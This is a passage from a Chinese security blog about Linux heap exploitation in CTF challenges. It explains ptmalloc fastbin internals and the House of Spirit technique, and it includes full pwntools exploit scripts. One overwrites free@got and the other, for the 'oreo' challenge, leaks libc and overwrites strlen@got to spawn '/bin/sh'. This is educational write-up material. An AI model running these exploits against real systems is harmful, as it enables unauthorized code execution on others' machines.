class="number">0x10</span> + p64(<span class="number">0x20</span>) + p64(<span class="number">0x51</span>)</span><br><span class="line"></span><br><span class="line"> edit_post(<span class="number">0</span>, <span class="number">0x91</span>, payload1)</span><br><span class="line"> edit_post(<span class="number">2</span>, <span class="number">0x31</span>, payload2)</span><br><span class="line"> delete_post(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 4. overwrite free@got</span></span><br><span class="line"> payload3 = p64(<span class="number">0x1</span>) + p64(<span class="number">0x1</span>) + p64(<span class="number">0x8</span>) + p64(free_got)</span><br><span class="line"> payload3 += p64(<span class="number">0</span>) + p64(<span class="number">0x0</span>) + p64(<span class="number">0x0</span>)</span><br><span class="line"> payload3 += p64(<span class="number">1</span>)+ p64(<span class="number">0x8</span>) + p64(heap_addr - <span class="number">0x17b8</span>) + <span class="string">'/bin/sh\n'</span></span><br><span class="line"> payload3 = payload3.ljust(<span class="number">0x90</span>, <span class="string">'\x00'</span>)</span><br><span class="line"> edit_post(<span class="number">0</span>, <span class="number">0x91</span>, payload3)</span><br><span class="line"> <span class="comment"># raw_input('system(binsh)')</span></span><br><span class="line"> edit_post(<span class="number">0</span>, <span class="number">0x8</span>, p64(system_addr))</span><br><span class="line"> delete_post(<span class="number">2</span>) </span><br><span class="line"> p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> exp()</span><br></pre></td></tr></table></figure>
<h3 id="0x04-参考文献"><a href="#0x04-参考文献" class="headerlink" title="0x04. 参考文献"></a>0x04. 参考文献</h3><p><a target="_blank" rel="noopener" href="https://jaq.alibaba.com/community/art/show?spm=a313e.7916642.220000NaN1.1.JLYyhU&articleid=360">1. Linux堆溢出漏洞利用之unlink</a><br><a target="_blank" rel="noopener" href="http://drops.wooyun.org/binary/10638">2. 一步一步学ROP之gadgets和2free篇</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/02/17/PWN/Linux%E5%A0%86%E6%BA%A2%E5%87%BA%E4%B9%8Bfastbin%E5%AE%9E%E4%BE%8B/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="D0m021ng">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | 不要说话">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2017/02/17/PWN/Linux%E5%A0%86%E6%BA%A2%E5%87%BA%E4%B9%8Bfastbin%E5%AE%9E%E4%BE%8B/" class="post-title-link" itemprop="url">Linux堆溢出之fastbin实例</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2017-02-17 22:08:24" itemprop="dateCreated datePublished" datetime="2017-02-17T22:08:24+00:00">2017-02-17</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2017-03-05 07:43:04" itemprop="dateModified" datetime="2017-03-05T07:43:04+00:00">2017-03-05</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Security/" itemprop="url" rel="index"><span itemprop="name">Security</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p> 最近在学习Linux上的堆溢出原理以及利用技巧,深深了解到堆溢出的复杂之处,以及各种层出不穷的技巧。然时间比较紧,只能慢慢学,现记录下学习fastbin的心得。</p>
<h3 id="0x01-fastbin原理"><a href="#0x01-fastbin原理" class="headerlink" title="0x01. fastbin原理"></a>0x01. fastbin原理</h3><p> 关于fastbin的利用原理,网上已经有很多文章介绍,简要介绍下需要了解的知识点。<br> Linux的堆管理器ptmalloc,将内存划分为多个chunk,以chunk为单位分配个用户。为了提高内存分配的效率,ptmalloc又设计的一些数据结构帮助提高性能。正是由于提高效率,从而忽略了一些安全问题。</p>
<ol>
<li>Linux下的堆块 chunk,为了提高效率,chunk头一般很小。<strong>chunk的种类</strong>: 已分配的块(allocated chunk)、空闲块(free chunk)、最高块(top chunk)、最后剩余块(Last Remainder chunk)。<br> 一般空闲块头包含:前一个chunk的大小(pre_size)、本chunk的大小(size)、下一个块地址(fd)、上一个块地址(bk)。已分配的块不包含fd和bk字段,并且已分配的块还会使用下一个块的 pre_size字段。而且由于chunk的字节对齐,低位一般作为标志位,用于辅助chunk管理。如32位系统,堆块chunk大小是8字节对齐,其低3位(N|M|P):N表示此块是否属于main arean; M表示此块是否是mmap()创建的; P表示前块是否正在使用。</li>
<li>Linux下的堆块采用链表结构管理,glibc下实现叫做bins,有4中bins:fastbin、unsorted bin、small bin、large bin。其中fastbin主要用于高效的分配和回收比较小的内存块,采用LIFO形式的单链表结构。</li>
</ol>
<p> <strong>32位系统中</strong>,用户的请求在16bytes到64bytes会被分配到fastbin中;<strong>64位系统中</strong>,用户的请求在32bytes到128bytes会被分配到fastbin中。其他的几种结构主要是用户管理一般块和较大块。</p>
<h3 id="0x02-fastbin利用技巧"><a href="#0x02-fastbin利用技巧" class="headerlink" title="0x02. fastbin利用技巧"></a>0x02. fastbin利用技巧</h3><p> 基于fastbin块LIFO的特点,我们可以先申请,然后释放,再申请就可以得到原来地址的块。但是这不能满足我们的需求,我们需要在将堆分配在可控地址。我们可以通过堆溢出更改已经申请块的fd,使其指向我们可控的地址,并且在可控地址上伪造假的fastbin结构。然后释放,再申请两次,第2次就可以得到分配在可控地址上的块。(覆盖fd)<br> 还有一种方法直接修改free函数的参数,使free函数的参数为可控地址,然后在可控地址上伪造假的堆块。(House of Spirit)</p>
<h3 id="0x03-fastbin实例"><a href="#0x03-fastbin实例" class="headerlink" title="0x03. fastbin实例"></a>0x03. fastbin实例</h3><ol>
<li>oreo<br> 该题是个典型的fastbin,主要思路:在bss段构造假的fastbin块结构,然后利用fastbin分配堆块,并写入一个地址。第2次对这个可控位置写入数据,就可以达到往任意地址写任意数据(write anything anywhere)。利用ELF中的逻辑,先通过地址泄漏得到system函数的地址,然后利用fastbin覆盖<a href="mailto:strlen@got.plt">strlen@got.plt</a>地址为system函数地址。这其中有个技巧,第二次写入数据是”p32(system_addr) + ‘;/bin/sh’ “,在覆盖<a href="mailto:strlen@got.plt">strlen@got.plt</a>的同时,后面system函数执行时,会分开执行,system(system_addr)和system(“/bin/sh”),最终会成功获得shell。<br> 漏洞利用代码:<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">1</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> p = process(<span class="string">'./oreo'</span>)</span><br><span class="line"> gdb.attach(p, execute=<span class="string">'b *0x8048a4d'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> p = remote(<span class="string">"xxxx"</span>, <span class="number">1008</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_rifles</span>(<span class="params">name, description</span>):</span><br><span class="line"> p.sendline(<span class="string">'1'</span>)</span><br><span class="line"> p.sendline(name)</span><br><span class="line"> p.sendline(description)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">order_rifles</span>():</span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leave_message</span>(<span class="params">msg</span>):</span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"> p.sendline(msg)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show_rifles</span>():</span><br><span class="line"> p.sendline(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line"></span><br><span class="line"> fgets_got = <span class="number">0x0804A23C</span></span><br><span class="line"> strlen_got = <span class="number">0x0804A250</span></span><br><span class="line"> msg_addr = <span class="number">0x804A2A8</span></span><br><span class="line"></span><br><span class="line"> p.recv(<span class="number">0x261</span>)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x3f</span>):</span><br><span class="line"> add_rifles(<span class="string">"abc"</span>, <span class="string">"test"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># leak system address</span></span><br><span class="line"> payload1 = <span class="string">'A'</span> * <span class="number">27</span> + p32(fgets_got)</span><br><span class="line"> add_rifles(payload1, <span class="string">'B'</span> * <span class="number">25</span>)</span><br><span class="line"> show_rifles()</span><br><span class="line"> p.recvuntil(<span class="string">"==================================="</span>)</span><br><span class="line"> p.recvuntil(<span class="string">"==================================="</span>)</span><br><span class="line"> p.recvuntil(<span class="string">"Name: "</span>)</span><br><span class="line"> p.recvuntil(<span class="string">"\nDescription: "</span>)</span><br><span class="line"> fgets_addr = u32(p.recv(<span class="number">4</span>))</span><br><span class="line"> <span class="built_in">print</span> <span class="string">"fgets address: %x"</span> % fgets_addr</span><br><span class="line"> system_addr = fgets_addr - <span class="number">0x232f0</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># malloc chunk</span></span><br><span class="line"> payload2 = <span class="string">'A'</span> * <span class="number">27</span> + p32(msg_addr)</span><br><span class="line"> add_rifles(payload2, <span class="string">'B'</span> * <span class="number">25</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># construct fake chunk</span></span><br><span class="line"> payload3 = p32(<span class="number">0x0</span>) *<span class="number">9</span> + p32(<span class="number">0x49</span>)</span><br><span class="line"> leave_message(payload3)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#free chunk</span></span><br><span class="line"> order_rifles()</span><br><span class="line"></span><br><span class="line"> <span class="comment">#fastbin: malloc new chunk at address 0x804a2a8</span></span><br><span class="line"> add_rifles(<span class="string">'name'</span>, p32(strlen_got))</span><br><span class="line"></span><br><span class="line"> <span class="comment">#write strlen_got with system_addr and execute strlen('p32(system_addr);/bin/sh')</span></span><br><span class="line"> leave_message(p32(system_addr) + <span class="string">';/bin/sh'</span>)</span><br><span class="line"></span><br><span class="line"> p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> main()</span><br><span class="line"></span><br></pre></td></tr></table></figure></li>
</ol>
<h3 id="0x04-参考文献"><a href="#0x04-参考文献" class="headerlink" title="0x04. 参考文献"></a>0x04. 参考文献</h3><p><a target="_blank" rel="noopener" href="http://www.cnblogs.com/Ox9A82/p/5865420.html">1. Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2016/11/03/PWN/ret2-dl-resolve-payload-%E6%9E%84%E9%80%A0%E5%8E%9F%E7%90%86-2/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="D0m021ng">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | 不要说话">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2016/11/03/PWN/ret2-dl-resolve-payload-%E6%9E%84%E9%80%A0%E5%8E%9F%E7%90%86-2/" class="post-title-link" itemprop="url">Linux栈溢出利用之return to dl-resolve payload 构造原理(二)</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2016-11-03 23:53:57" itemprop="dateCreated datePublished" datetime="2016-11-03T23:53:57+00:00">2016-11-03</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2017-03-02 00:48:42" itemprop="dateModified" datetime="2017-03-02T00:48:42+00:00">2017-03-02</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Security/" itemprop="url" rel="index"><span itemprop="name">Security</span></a>
</span>